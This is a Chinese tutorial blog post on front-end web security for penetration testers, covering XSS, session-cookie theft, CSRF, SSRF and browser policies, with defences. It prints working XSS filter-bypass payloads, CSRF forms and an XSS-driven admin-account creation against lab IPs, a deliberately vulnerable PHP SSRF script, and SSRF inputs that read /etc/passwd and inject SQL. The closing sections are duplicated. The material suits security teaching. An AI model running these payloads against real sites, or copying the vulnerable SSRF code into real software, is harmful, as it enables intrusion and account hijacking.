渗透测试成长之路---前端安全

前端安全

职业名词解释
payload攻击代码
EXP完整的漏洞利用工具
POC观点验证程序。运行这个程序可以得出预期的结果
GPCGET POST COOKIE

1、跨站脚本攻击

​ 跨站点脚本(XSS) 是指客户端代码注入攻击,攻击者在合法网站或web应用程序中执行恶意脚本。当web应用程序在其生成的输出中使用未经验证或未编码的用户输入时,就会发生XSS

1.1、Web架构

Web架构包括:

​ 服务端:

​ Web容器 Apache HTTPD

​ 中间件 PHP

​ 数据库 MySQL

​ 浏览器端:

​ HTML

​ JavaScript 操纵浏览器、操纵HTML语言

1.2、XSS漏洞概述

在这里插入图片描述

​ XSS 通过将精心构造的代码(js)注入到网页中,并由浏览器解释运行这段JS 代码,以达到恶意攻击的效果。当用户访问被XSS 脚本注入过的网页,XSS 脚本就会被提取出来,用户浏览器就会解析执行这段代码,也就是说用户被攻击了,用户浏览器将网页的敏感信息(Cookie)发送给hacker,hacker可以利用Cookie进行无密码登陆

1.3、XSS漏洞危害

  • 盗取各种用户账户密码
  • 窃取用户Cookie信息,冒充用户身份进入网站
  • 劫持用户会话执行任意操作
  • 传播蠕虫病毒

1.4、XSS漏洞分类

  • 反射性XSS
  • 存储型XSS
  • DOM型XSS
1.4.1、反射性XSS

​ 非持久性、参数型的跨站脚本。反射型XSS的代码在Web应用的参数中,例如:搜索框的反射型XSS。

在这里插入图片描述
在这里插入图片描述

1.4.2、存储型XSS

​ 持久性跨站脚本,持久性体现在XSS 代码不是在某个参数(变量)中,而是写进数据库或文件等可以永久保存数据的介质中。存储型XSS 通常发生在留言板等地方。可以在留言板位置进行留言,将恶意代码写进数据库中。危害面比较广,漏洞提交平台会接收此类漏洞。

在这里插入图片描述

1.4.3、DOM型XSS

​ DOM 型XSS 是一种XSS 攻击,其中攻击的代码是由于修改受害者浏览器页面的DOM 树而执行的。特殊的地方就是攻击代码(payload) 在浏览器本地修改DOM 树而执行,并不会将payload 上传到服务器,使得DOM 型XSS 比较难以检测。

在这里插入图片描述
在这里插入图片描述

  • 采用#号的方式,参数不会提交到服务器端,却依旧可以弹窗

在这里插入图片描述

1.5、固定会话攻击

1.5.1、原理

​ 用户会话令牌利用Cookie 来实现的,Cookie 是存储在浏览器端的一小段文本,相当于身份证,会有窃取和欺骗的风险。可以利用XSS 攻击窃取到浏览器里的Cookie 信息,由于XXS 触发需要用户参与,攻击者不清楚何时何地会触发漏洞,这个过程一般被成为XSS 盲打

1.5.2、XSS平台

xsspt

1.5.3、提交XSS代码

在这里插入图片描述

1.5.4、窃取Cookie信息

在这里插入图片描述

1.5.5、Cookie欺骗

在这里插入图片描述

1.5.6、影响
  • 黑客可以利用Cookie信息 登陆后台
  • 即使管理员注销登陆,会话依然有效
  • 即使管理员修改了密码,会话依然有效

1.6、固定会话防御

  • 根据实际情况采用单点登录
  • 采用Session机制
  • 设置token值
  • 对Cookie数据,设置HttpOnly属性

1.7、XSS的构造

1.7.1、利用<>构造JS关键字
<script>alert(/xss/)</script>
1.7.2、JS伪协议

可以通过URL载入资源的标签

<a href = javascript:alert(/xss/) >click me!</a>
1.7.3、事件触发

在这里插入图片描述

<img onmouseover = 'alert(/dont touch me!/)' src = "https://xxx.jpg">
		# onmouseover鼠标指针移动到图片后执行JS代码
<input type = 'text' onkeydown = 'alert(/xss/)'>
        # onkeydown 事件会在用户按下一个键盘按键时发生执行JS代码
<input type = 'text' onkeyup = 'alert(/xss/)'>
        # onkeyup 事件会在键盘按键被松开时发生。执行JS代码
<svg onload='alert(/xss/)'>
	    # onload 事件会在页面或图像加载完成后立即发生执行JS代码
<input onfocus=alert(/xss/) autofocus>
        # onfocus 事件在对象获得焦点时发生。执行JS代码

1.8、XSS的变形

​ 将构造的XSS 代码进行变形,以绕过XSS 过滤器的检测。变形方式有以下几种。

1.8.1、大小写转换
<Img sRc = '#' OnErRoR='alert(/xss/)'>
<A hrEf = 'JaVaScrIPt:alert(/xss/)'>click me!</A>
<ScRiPt>alert(/xss/)</sCrIpT>
    执行函数,弹窗效果
<ScRiPt>aleRt(/xss/)</sCrIpT>
	不会执行函数,JS代码大小写敏感,大写了为不同的函数
1.8.2、引号的使用

HTML 语言对引号的使用要求不严格,某些过滤函数是“锱铢必较”。

  • 没有引号
  • 单引号
  • 双引号
<Img sRc=# OnErRoR=alert(/xss/);>
<Img sRc = '#' OnErRoR='alert(/xss/)'>
<Img sRc = "#" OnErRoR="alert(/xss/)">
1.8.3、/代替空格
<Img/sRc='#'/OnErRoR='alert(/xss/)'>
1.8.4、双写绕过

绕过一次过滤

XSS 过滤器过滤了script 关键字。

<scrscriptipt>alert(/xss/)</scrscriptipt>
<scr<script>ipt>alert(/xss/);</script>
1.8.5、对伪协议进行转码

​ HTML编码

  • 对标签属性值进行转码,可以绕过过滤

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-s25J05mH-1618984838947)(03、前端安全.assets/转码绕过.png)]

<a href = 'javascript:alert(/xss/)'>click me!</a>

<a href = 'j&#97;v&#97;s&#x63;ript:alert(/xss/)'>click me!</a>

<a href = '&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;:alert(/xss/)'>click me!</a>
1.8.6、拆分跨站

将一段JS代码,拆分为多段代码

<script>z='alert'</script>
<script>z+='(/xss/)'</script>
<script>eval(z)</script>

<script>eval(alert(/xss/))</script>

1.9、XSS的防御

​ XSS 过滤器的作用是过滤用户(浏览器客户端)提交的有害信息,从而达到防范XSS 攻击的效果。

1.9.1、输入过滤
  • 永远不相信用户输入的数据
  • 输入验证
1. 对用户提交的信息进行“有效性”验证。
2. 仅接受指定长度
3. 仅包含合法字符
4. 仅接收指定范围
5. 特殊的格式,例如,email 、IP 地址。
  • 数据消毒:过滤或净化掉有害的输入
$code = str_replace('script','',$code);
1.9.2、输出编码
  • 将HTML 编码转换为HTML 实体编码。
$code = htmlspecialchars($code);
1.9.3、黑白名单策略

​ 不管是采用输入过滤还是输出编码,都是针对用户提交的信息进行黑、白名单式的过滤:

  • 黑名单:非允许的内容
  • 白名单:允许的内容
1.9.4、防御DOM型XSS
  • 避免客户端文档重写,重定向或其他敏感操作。
1.9.5、终极测试代码
<sCr<ScRiPt>IPT>OonN'"\/(hrHRefEF)</sCr</ScRiPt>IPT>

2、跨站请求伪造

2.1、跨站请求伪造概念

  • 基本概念
跨站请求伪造(Cross Site Request Forgery,CSRF) ,是一种攻击,它强制终端用户在当前对其进行身份验证后的Web 应用程序上执行非本意操作的攻击,攻击的重点在于更改状态的请求,而不是盗取数据,因为攻击者无法查看伪造请求的响应。
  • 关键点
受害者没有退出登陆,导致访问其余网页时,仍然带着上一个网页的Cookie信息。
Hacker通过该攻击获得了受害者的Cookie信息,并利用该Cookie访问了受害者访问的上一个网页,但由于网页服务器无法正确识别是不是真正的用户发送的请求,所以造成了该CSRF攻击

2.2、CSRF场景建模

在这里插入图片描述

2.3、CSRF类别

  • GET方式

    ​ 攻击者通过<img> 标签构造GET 请求。这个GET 请求来自于受害者的浏览器,是用户发起的转账请求。受害者访问网站的时候加载了<img> 标签。浏览器会根据<img> 标签中的SRC 属性,请求服务器资源,会自动带上身份认证信息(Cookie)。

    <meta charset='utf-8'>
    <img src='./1.jpg'><br />
    <img src='http://10.10.10.6/bank/action.php?username=hacker&money=100&submit=%E4%BA%A4%E6%98%93'alt='宝刀在手,谁与争锋'>
    
  • POST方式

<meta charset='utf-8'>

<form name='csrf' action='http://10.10.10.6/bank/action.php' method='post'>
<input type='hidden' name='username' value='hacker'>
<input type='hidden' name='money' value='100'>
</form>

<script>document.csrf.submit()</script>
<img src="./1.jpg" ><br />
<a href='javascript:document.csrf.submit()' style='color:red;font-size:100px'>宝刀在手,谁与争锋</a><br />

2.4、CSRF与XSS结合

​ 攻击者可以利用XSS 触发CSRF 攻击。因为,可以利用JS 发送HTTP 请求。经过研究受害网站的业务流程,可以构造如下代码:

<script>
xmlhttp = new XMLHttpRequest();
xmlhttp.open("post","http://10.9.65.193/admin/user.action.php",false);
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlhttp.send("act=add&username=ajest&password=123456&password2=123456&button=%E6%B7%BB%E5%8A%A0%E7%94%A8%E6%88%B7&userid=0");
</script>

2.5、CSRF漏洞的防御

  • 验证Referer字段:查看当前URL的上一个URL,是否为正常页面
  • 添加Token验证
  • 二次验证:在某些关键操作之前,再次进行密码验证或验证码验证
  • HttpOnly:某些情况下,禁止JS脚本访问Cookie信息
绕过Referer方法:将恶意站点的网站放在名为`访问网站IP`的文件夹下,抓到的包中,含有原网站IP信息,即可绕过,成功利用CSRF漏洞

在这里插入图片描述

3、服务器端请求伪造

3.1、SSRF概念

SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。

很多Web应用都提供了从其他服务器上获取数据的功能。使用用户指定的URL,Web应用可以获取图片,下载文件,读取文件内容等。这个功能如果被恶意使用,可以利用存在缺陷的web应用作为代理,攻击远程和本地服务器。

3.2、SSRF的危害

  • 端口扫描
  • 内网Web 应用指纹识别
  • 攻击内网应用
  • 读取本地文件

3.3、服务器请求HTTP

3.3.1、利用curl组件实现
  • 需要PHP扩展组件curl支持
//	ssrf_curl.php

if(isset($_REQUEST['url'])){
	$link = $_REQUEST['url'];
	$fileName = './curled/'.time().".txt";
	$curlObj = curl_init($link);
	$fp = fopen($fileName,'w');
	
	curl_setopt($curlObj,CURLOPT_FILE,$fp);
	curl_setopt($curlObj,CURLOPT_HEADER,0);
	curl_setopt($curlObj,CURLOPT_FOLLOWLOCATION,TRUE);
	
	curl_exec($curlObj);
	curl_close($curlObj);
	fclose($fp);
	
	if(getimagesize($fileName)){
		header("Content-Type:image/png");
	}
	
	$fp = fopen($fileName,'r');
	$result = fread($fp,filesize($fileName));
	fclose($fp);
	echo $result;
}else{
	echo "?url=[url]";
}
3.3.2、漏洞原理

​ 服务器接受了来自于客户端的URL 地址,并由服务器发送该URL 请求;对用户输入的URL 没有进行恰当的过滤,导致任意URL 输入;没对响应的结果进行检验,直接输出。

3.4、SSRF漏洞利用

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-NESacqKM-1618984838950)(03、前端安全.assets/SSRF漏洞利用.png)]

3.4.1、访问正常文件
?url=http://www.baidu.com
?url=http://www.baidu.com/img/bd_logo1.png
?url=http://www.baidu.com/robots.txt
3.4.2、端口扫描
?url=http://127.0.0.1:80
?url=http://127.0.0.1:3306
?url=dict://127.0.0.1:3306
3.4.3、读取本地文件
?url=file:///c:/windows/system32/drivers/etc/hosts
?url=file:///etc/passwd
3.4.5、内网应用指纹识别
?url=http://localhost/phpmyadmin/README
3.4.6、攻击内网Web应用
http://10.10.10.6/WebVuln/SSRF/ssrf_curl.php?url=http://localhost/cms/show.php?id=-33/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,database(),12,13,14,15

3.5、SSRF漏洞的挖掘

  • 从Web功能处挖掘
分享
转码服务
在线翻译
图片加载与下载
图片、文章收藏功能
未公开的API 实现
...
  • 从URL关键字处挖掘
share
wap
url
link
src
source
target
u
3g
display
sourceURL
imageURL
domain
...

3.6、SSRF漏洞的防御

3.6.1、过滤用户输入的URL
  • 限制协议,仅允许http或https协议
  • 限制IP,避免应用被用来获取内网数据,攻击内网
  • 限制端口,限制请求端口为常用端口
3.6.2、过滤输出
  • 过滤返回信息,只要不符合要求的,全部过滤
  • 统一错误信息,让攻击无法对内网信息进行判断

4、浏览器安全机制

4.1、同源策略

​ 同源策略,(Same Origin Policy,SOP) 。同源策略是浏览器对JavaScript 进行跨域访问的安全策略,同时也是浏览器沙盒环境提供的一项制约。

​ 浏览器可以同时处理多个网站的内容,典型方法:

<img src = ''>

iframe`框架

AJAX
  • 同源策略条件
URL 的主机(FQDN: Fully Qualified Domain Name,全称域名)一致
			# localhost/127.0.0.1 不一致  一个是域名,一个是IP
Schema 一致

端口号一致

​ 只有满足以上三个条件的时,认为两个页面是同源的。

4.2、跨域资源共享

​ 解决JS 跨域访问的问题。提出了跨域资源共享,(cross-orgin sharing standard,CORS) 。A 网站引用B 网站内容,B 网站让不让用?

4.2.1、HTTP头部声明
  • CORS 标准新增了一组HTTP 头部字段,允许服务器声明哪些源站通过浏览器访问哪些资源
Access-Control-Allow-Orgin:*

//* 号代表所有的网站

4.3、CSP

​ 内容安全策略,(Content Security Policy,CSP) 。A 网站引用B 网站内容,A 网站所在浏览器,让不让用B 网站内容。

Content-Security-Policy:

源策略条件

URL 的主机(FQDN: Fully Qualified Domain Name,全称域名)一致
			# localhost/127.0.0.1 不一致  一个是域名,一个是IP
Schema 一致

端口号一致

​ 只有满足以上三个条件的时,认为两个页面是同源的。

4.2、跨域资源共享

​ 解决JS 跨域访问的问题。提出了跨域资源共享,(cross-orgin sharing standard,CORS) 。A 网站引用B 网站内容,B 网站让不让用?

4.2.1、HTTP头部声明
  • CORS 标准新增了一组HTTP 头部字段,允许服务器声明哪些源站通过浏览器访问哪些资源
Access-Control-Allow-Orgin:*

//* 号代表所有的网站

4.3、CSP

​ 内容安全策略,(Content Security Policy,CSP) 。A 网站引用B 网站内容,A 网站所在浏览器,让不让用B 网站内容。

Content-Security-Policy:
  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值